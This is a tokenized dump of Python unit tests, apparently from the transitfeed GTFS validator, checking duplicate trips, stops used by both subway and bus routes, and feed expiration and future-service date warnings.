"'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "3_", "._", "trip", "\\u", "head", "sign_", "=_", "'", "New", " ", "Demo", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "3_", "._", "direction", "\\u", "id_", "=_", "'", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "3_", "._", "service", "\\u", "id_", "=_", "service_", "._", "service", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "schedule_", "._", "Add", "Tri", "p", "Object_", "(_", "trip", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stop", "1_", "=_", "transit", "feed_", "._", "Stop_", "(_", "36.", "425", "288_", ",_", "-_", "117", ".1", "391", "62_", ",_", "\"", "Demo", " ", "Sto", "p", " ", "1", "\"_", ",_", "\"", "STOP", "1", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "schedule_", "._", "Add", "Sto", "p", "Object_", "(_", "stop", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "1_", "._", "Add", "Sto", "p", "Time_", "(_", "stop", "1_", ",_", "arrival", "\\u", "time_", "=_", "\"", "5", ":", "11", ":", "00", "\"_", ",_", "departure", "\\u", "time_", "=_", "\"", "5", ":", "1", "2", ":", "00", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stop", "\\u", "sequence_", "=_", "0_", ",_", "shape", "\\u", "dist", "\\u", "travel", "ed_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "2_", "._", "Add", "Sto", "p", "Time_", "(_", "stop", "1_", ",_", "arrival", "\\u", "time_", "=_", "\"", "5", ":", "11", ":", "00", "\"_", ",_", "departure", "\\u", "time_", "=_", "\"", "5", ":", "1", "2", ":", "00", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stop", "\\u", "sequence_", "=_", "0_", ",_", "shape", "\\u", "dist", "\\u", "travel", "ed_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "3_", "._", "Add", "Sto", "p", "Time_", "(_", "stop", "1_", ",_", "arrival", "\\u", "time_", "=_", "\"", "6", ":", "11", ":", "00", "\"_", ",_", "departure", "\\u", "time_", "=_", "\"", "6", ":", "1", "2", ":", "00", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stop", "\\u", "sequence_", "=_", "0_", ",_", "shape", "\\u", "dist", "\\u", "travel", "ed_", "=_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stop", "2_", "=_", "transit", "feed_", "._", "Stop_", "(_", "36.", "424", "288_", ",_", "-_", "117", ".1", "581", "42_", ",_", "\"", "Demo", " ", "Sto", "p", " ", "2", "\"_", ",_", "\"", "STOP", "2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "schedule_", "._", "Add", "Sto", "p", "Object_", "(_", "stop", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "1_", "._", "Add", "Sto", "p", "Time_", "(_", "stop", "2_", ",_", "arrival", "\\u", "time_", "=_", "\"", "5", ":", "15", ":", "00", "\"_", ",_", "departure", "\\u", "time_", "=_", "\"", "5", ":", "16", ":", "00", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stop", "\\u", "sequence_", "=_", "1_", ",_", "shape", "\\u", "dist", "\\u", "travel", "ed_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "2_", "._", "Add", "Sto", "p", "Time_", "(_", "stop", "2_", ",_", "arrival", "\\u", "time_", "=_", "\"", "5", ":", "25", ":", "00", "\"_", ",_", "departure", "\\u", "time_", "=_", "\"", "5", ":", "2", "6", ":", "00", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stop", "\\u", "sequence_", "=_", "1_", ",_", "shape", "\\u", "dist", "\\u", "travel", "ed_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "3_", "._", "Add", "Sto", "p", "Time_", "(_", "stop", "2_", ",_", "arrival", "\\u", "time_", "=_", "\"", "6", ":", "15", ":", "00", "\"_", ",_", "departure", "\\u", "time_", "=_", "\"", "6", ":", "16", ":", "00", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stop", "\\u", "sequence_", "=_", "1_", ",_", "shape", "\\u", "dist", "\\u", "travel", "ed_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "schedule_", "._", "Validate", "_", "(_", "self_", "._", "problems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e_", "=_", "self_", "._", "accumulator_", "._", "Pop", "Exception_", "(_", "'", "Duplicate", "Tri", "p", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "e_", "._", "Format", "Problem_", "(_", ")_", "._", "find_", "(_", "'", "t1", " ", "of", " ", "route", "'_", ")_", "!=_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "e_", "._", "Format", "Problem_", "(_", ")_", "._", "find_", "(_", "'", "t2", " ", "of", " ", "route", "'_", ")_", "!=_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accumulator_", "._", "Assert", "No", "Mor", "e", "Exceptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Sto", "p", "Bel", "ong", "s", "To", "Bot", "h", "Sub", "way", "And", "Bus", "Test", "Case_", "(_", "util_", "._", "Validat", "ion", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "run", "Test_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "schedule_", "=_", "transit", "feed_", "._", "Schedule_", "(_", "self_", "._", "problems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "schedule_", "._", "Add", "Agency", "_", "(_", "\"", "Demo", " ", "Agency", "\"_", ",_", "\"", "http", "://", "example", ".", "com", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "Ame", "rica", "/", "Lo", "s", "\\u", "Angel", "es", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "route", "1_", "=_", "schedule_", "._", "Add", "Route_", "(_", "short", "\\u", "name_", "=_", "\"", "route", "1", "\"_", ",_", "long", "\\u", "name_", "=_", "\"", "route", "\\u", "1", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "route", "\\u", "type_", "=_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "route", "2_", "=_", "schedule_", "._", "Add", "Route_", "(_", "short", "\\u", "name_", "=_", "\"", "route", "2", "\"_", ",_", "long", "\\u", "name_", "=_", "\"", "route", "\\u", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "route", "\\u", "type_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "service_", "=_", "schedule_", "._", "Get", "Default", "Service", "Period_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "service_", "._", "Set", "Date", "Has", "Service_", "(_", "\"", "2007", "0101", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "trip", "1_", "=_", "route", "1_", "._", "Add", "Tri", "p_", "(_", "schedule_", ",_", "\"", "trip", "1", "\"_", ",_", "service_", ",_", "\"", "t1", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "2_", "=_", "route", "2_", "._", "Add", "Tri", "p_", "(_", "schedule_", ",_", "\"", "trip", "2", "\"_", ",_", "service_", ",_", "\"", "t2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "stop", "1_", "=_", "schedule_", "._", "Add", "Stop_", "(_", "36.", "425", "288_", ",_", "-_", "117", ".1", "331", "62_", ",_", "\"", "stop", "1", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stop", "2_", "=_", "schedule_", "._", "Add", "Stop_", "(_", "36.", "424", "288_", ",_", "-_", "117", ".1", "331", "42_", ",_", "\"", "stop", "2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "stop", "3_", "=_", "schedule_", "._", "Add", "Stop_", "(_", "36.", "423", "288_", ",_", "-_", "117", ".1", "341", "42_", ",_", "\"", "stop", "3", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "trip", "1_", "._", "Add", "Sto", "p", "Time_", "(_", "stop", "1_", ",_", "arrival", "\\u", "time_", "=_", "\"", "5", ":", "11", ":", "00", "\"_", ",_", "departure", "\\u", "time_", "=_", "\"", "5", ":", "1", "2", ":", "00", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "1_", "._", "Add", "Sto", "p", "Time_", "(_", "stop", "2_", ",_", "arrival", "\\u", "time_", "=_", "\"", "5", ":", "21", ":", "00", "\"_", ",_", "departure", "\\u", "time_", "=_", "\"", "5", ":", "2", "2", ":", "00", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "trip", "2_", "._", "Add", "Sto", "p", "Time_", "(_", "stop", "1_", ",_", "arrival", "\\u", "time_", "=_", "\"", "6", ":", "11", ":", "00", "\"_", ",_", "departure", "\\u", "time_", "=_", "\"", "6", ":", "1", "2", ":", "00", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "trip", "2_", "._", "Add", "Sto", "p", "Time_", "(_", "stop", "3_", ",_", "arrival", "\\u", "time_", "=_", "\"", "6", ":", "21", ":", "00", "\"_", ",_", "departure", "\\u", "time_", "=_", "\"", "6", ":", "2", "2", ":", "00", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "schedule_", "._", "Validate", "_", "(_", "self_", "._", "problems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e_", "=_", "self_", "._", "accumulator_", "._", "Pop", "Exception_", "(_", "\"", "Sto", "p", "With", "Multipl", "e", "Route", "Type", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "e_", "._", "Format", "Problem_", "(_", ")_", "._", "find_", "(_", "\"", "Sto", "p", " ", "stop", "1", "\"_", ")_", "!=_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "e_", "._", "Format", "Problem_", "(_", ")_", "._", "find_", "(_", "\"", "subw", "ay", " ", "(", "ID", "=", "1", ")\"_", ")_", "!=_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "e_", "._", "Format", "Problem_", "(_", ")_", "._", "find_", "(_", "\"", "bus", " ", "line", " ", "(", "ID", "=", "0", ")\"_", ")_", "!=_", "-_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accumulator_", "._", "Assert", "No", "Mor", "e", "Exceptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Schedule", "Start", "And", "Expir", "ation", "Dates", "Test", "Case_", "(_", "util_", "._", "Memo", "ry", "Zip", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Remove", " ", "\"", "Expir", "ation", "Date", "\"", " ", "from", " ", "the", " ", "accumulator", " ", "\\u", "IGNORE", "\\u", "TYPES", " ", "to", " ", "get", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "expir", "ation", " ", "error", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Expir", "ation", "Date", "Cause", "d", "By", "Service", "Period_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "test", " ", "with", " ", "no", " ", "valid", "it", "y", " ", "dates", " ", "specified", " ", "in", " ", "feed", "\\u", "info", ".", "txt_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "prepar", "e", "Archive", "Contents_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "week", "s", "\\u", "ago_", ",_", "self_", "._", "two", "\\u", "weeks_", ",_", "#", " ", "calendar_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "one", "\\u", "week_", ",_", "#", " ", "calendar", "\\u", "dates_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"_", ",_", "\"\"_", ")_", "#", " ", "feed", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Make", "Load", "er", "And", "Load_", "(_", "self_", "._", "problems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e_", "=_", "self_", "._", "accumulator_", "._", "Pop", "Exception_", "(_", "\"", "Expir", "ation", "Date", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "calendar", ".", "txt", "\"_", "in_", "e_", "._", "expir", "ation", "\\u", "orig", "in", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accumulator_", "._", "Assert", "No", "Mor", "e", "Exceptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "test", " ", "with", " ", "good", " ", "valid", "it", "y", " ", "dates", " ", "specified", " ", "in", " ", "feed", "\\u", "info", ".", "txt_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "prepar", "e", "Archive", "Contents_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "week", "s", "\\u", "ago_", ",_", "self_", "._", "two", "\\u", "weeks_", ",_", "#", " ", "calendar_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "one", "\\u", "week_", ",_", "#", " ", "calendar", "\\u", "dates_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "week", "s", "\\u", "ago_", ",_", "self_", "._", "two", "\\u", "months_", ")_", "#", " ", "feed", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Make", "Load", "er", "And", "Load_", "(_", "self_", "._", "problems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accumulator_", "._", "Assert", "No", "Mor", "e", "Exceptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Schedule", "Start", "And", "Expir", "ation", "Dates", "Test", "Case_", "(_", "util_", "._", "Memo", "ry", "Zip", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Remove", " ", "\"", "Expir", "ation", "Date", "\"", " ", "from", " ", "the", " ", "accumulator", " ", "\\u", "IGNORE", "\\u", "TYPES", " ", "to", " ", "get", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "expir", "ation", " ", "error", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Fu", "ture", "Service", "Cause", "d", "By", "Service", "Period_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "test", " ", "with", " ", "no", " ", "valid", "it", "y", " ", "dates", " ", "specified", " ", "in", " ", "feed", "\\u", "info", ".", "txt_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "prepar", "e", "Archive", "Contents_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "one", "\\u", "week_", ",_", "self_", "._", "two", "\\u", "months_", ",_", "#", " ", "calendar_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "weeks_", ",_", "#", " ", "calendar", "\\u", "dates_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"_", ",_", "\"\"_", ")_", "#", " ", "feed", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Make", "Load", "er", "And", "Load_", "(_", "self_", "._", "problems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e_", "=_", "self_", "._", "accumulator_", "._", "Pop", "Exception_", "(_", "\"", "Fu", "ture", "Service", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "calendar", ".", "txt", "\"_", "in_", "e_", "._", "start", "\\u", "date", "\\u", "orig", "in", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accumulator_", "._", "Assert", "No", "Mor", "e", "Exceptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "with", " ", "good", " ", "valid", "it", "y", " ", "dates", " ", "specified", " ", "in", " ", "feed", "\\u", "info", ".", "txt_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "prepar", "e", "Archive", "Contents_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "one", "\\u", "week_", ",_", "self_", "._", "two", "\\u", "months_", ",_", "#", " ", "calendar_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "weeks_", ",_", "#", " ", "calendar", "\\u", "dates_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "week", "s", "\\u", "ago_", ",_", "self_", "._", "two", "\\u", "months_", ")_", "#", " ", "feed", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Make", "Load", "er", "And", "Load_", "(_", "self_", "._", "problems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accumulator_", "._", "Assert", "No", "Mor", "e", "Exceptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Schedule", "Start", "And", "Expir", "ation", "Dates", "Test", "Case_", "(_", "util_", "._", "Memo", "ry", "Zip", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Remove", " ", "\"", "Expir", "ation", "Date", "\"", " ", "from", " ", "the", " ", "accumulator", " ", "\\u", "IGNORE", "\\u", "TYPES", " ", "to", " ", "get", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "expir", "ation", " ", "error", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Expir", "ation", "Date", "Cause", "d", "By", "Service", "Period", "Date", "Exception_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "with", " ", "no", " ", "valid", "it", "y", " ", "dates", " ", "specified", " ", "in", " ", "feed", "\\u", "info", ".", "txt_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "prepar", "e", "Archive", "Contents_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "week", "s", "\\u", "ago_", ",_", "self_", "._", "one", "\\u", "week_", ",_", "#", " ", "calendar_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "weeks_", ",_", "#", " ", "calendar", "\\u", "dates_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"_", ",_", "\"\"_", ")_", "#", " ", "feed", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Make", "Load", "er", "And", "Load_", "(_", "self_", "._", "problems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e_", "=_", "self_", "._", "accumulator_", "._", "Pop", "Exception_", "(_", "\"", "Expir", "ation", "Date", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "calendar", "\\u", "dates", ".", "txt", "\"_", "in_", "e_", "._", "expir", "ation", "\\u", "orig", "in", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accumulator_", "._", "Assert", "No", "Mor", "e", "Exceptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "with", " ", "good", " ", "valid", "it", "y", " ", "dates", " ", "specified", " ", "in", " ", "feed", "\\u", "info", ".", "txt_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "prepar", "e", "Archive", "Contents_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "week", "s", "\\u", "ago_", ",_", "self_", "._", "one", "\\u", "week_", ",_", "#", " ", "calendar_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "weeks_", ",_", "#", " ", "calendar", "\\u", "dates_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "week", "s", "\\u", "ago_", ",_", "self_", "._", "two", "\\u", "months_", ")_", "#", " ", "feed", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Make", "Load", "er", "And", "Load_", "(_", "self_", "._", "problems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accumulator_", "._", "Assert", "No", "Mor", "e", "Exceptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Schedule", "Start", "And", "Expir", "ation", "Dates", "Test", "Case_", "(_", "util_", "._", "Memo", "ry", "Zip", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Remove", " ", "\"", "Expir", "ation", "Date", "\"", " ", "from", " ", "the", " ", "accumulator", " ", "\\u", "IGNORE", "\\u", "TYPES", " ", "to", " ", "get", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "expir", "ation", " ", "error", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Fu", "ture", "Service", "Cause", "d", "By", "Service", "Period", "Date", "Exception_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "with", " ", "no", " ", "valid", "it", "y", " ", "dates", " ", "specified", " ", "in", " ", "feed", "\\u", "info", ".", "txt_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "prepar", "e", "Archive", "Contents_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "weeks_", ",_", "self_", "._", "two", "\\u", "months_", ",_", "#", " ", "calendar_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "one", "\\u", "week_", ",_", "#", " ", "calendar", "\\u", "dates_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"_", ",_", "\"\"_", ")_", "#", " ", "feed", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Make", "Load", "er", "And", "Load_", "(_", "self_", "._", "problems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e_", "=_", "self_", "._", "accumulator_", "._", "Pop", "Exception_", "(_", "\"", "Fu", "ture", "Service", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "calendar", "\\u", "dates", ".", "txt", "\"_", "in_", "e_", "._", "start", "\\u", "date", "\\u", "orig", "in", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accumulator_", "._", "Assert", "No", "Mor", "e", "Exceptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "with", " ", "good", " ", "valid", "it", "y", " ", "dates", " ", "specified", " ", "in", " ", "feed", "\\u", "info", ".", "txt_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "prepar", "e", "Archive", "Contents_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "weeks_", ",_", "self_", "._", "two", "\\u", "months_", ",_", "#", " ", "calendar_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "one", "\\u", "week_", ",_", "#", " ", "calendar", "\\u", "dates_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "week", "s", "\\u", "ago_", ",_", "self_", "._", "two", "\\u", "months_", ")_", "#", " ", "feed", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Make", "Load", "er", "And", "Load_", "(_", "self_", "._", "problems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accumulator_", "._", "Assert", "No", "Mor", "e", "Exceptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Schedule", "Start", "And", "Expir", "ation", "Dates", "Test", "Case_", "(_", "util_", "._", "Memo", "ry", "Zip", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Remove", " ", "\"", "Expir", "ation", "Date", "\"", " ", "from", " ", "the", " ", "accumulator", " ", "\\u", "IGNORE", "\\u", "TYPES", " ", "to", " ", "get", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "expir", "ation", " ", "error", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Expir", "ation", "Date", "Cause", "d", "By", "Feed", "Info_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "prepar", "e", "Archive", "Contents_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "week", "s", "\\u", "ago_", ",_", "self_", "._", "two", "\\u", "months_", ",_", "#", " ", "calendar_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "one", "\\u", "week_", ",_", "#", " ", "calendar", "\\u", "dates_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"_", ",_", "self_", "._", "two", "\\u", "weeks_", ")_", "#", " ", "feed", "\\u", "info_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "Make", "Load", "er", "And", "Load_", "(_", "self_", "._", "problems_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "e_", "=_", "self_", "._", "accumulator_", "._", "Pop", "Exception_", "(_", "\"", "Expir", "ation", "Date", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "\"", "feed", "\\u", "info", ".", "txt", "\"_", "in_", "e_", "._", "expir", "ation", "\\u", "orig", "in", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "accumulator_", "._", "Assert", "No", "Mor", "e", "Exceptions_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Schedule", "Start", "And", "Expir", "ation", "Dates", "Test", "Case_", "(_", "util_", "._", "Memo", "ry", "Zip", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Remove", " ", "\"", "Expir", "ation", "Date", "\"", " ", "from", " ", "the", " ", "accumulator", " ", "\\u", "IGNORE", "\\u", "TYPES", " ", "to", " ", "get", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "expir", "ation", " ", "error", "s", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Fu", "ture", "Service", "Cause", "d", "By", "Feed", "Info_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "prepar", "e", "Archive", "Contents_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "two", "\\u", "week", "s", "\\u", "ago_", ",_", "self_", "._", "two", "\\u", "months_", ",_", "#", " ", "calendar_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "one", "\\u", "week", "\\u", "ago_", ",_", "#", " ", "calendar", "\\u", "dates_", 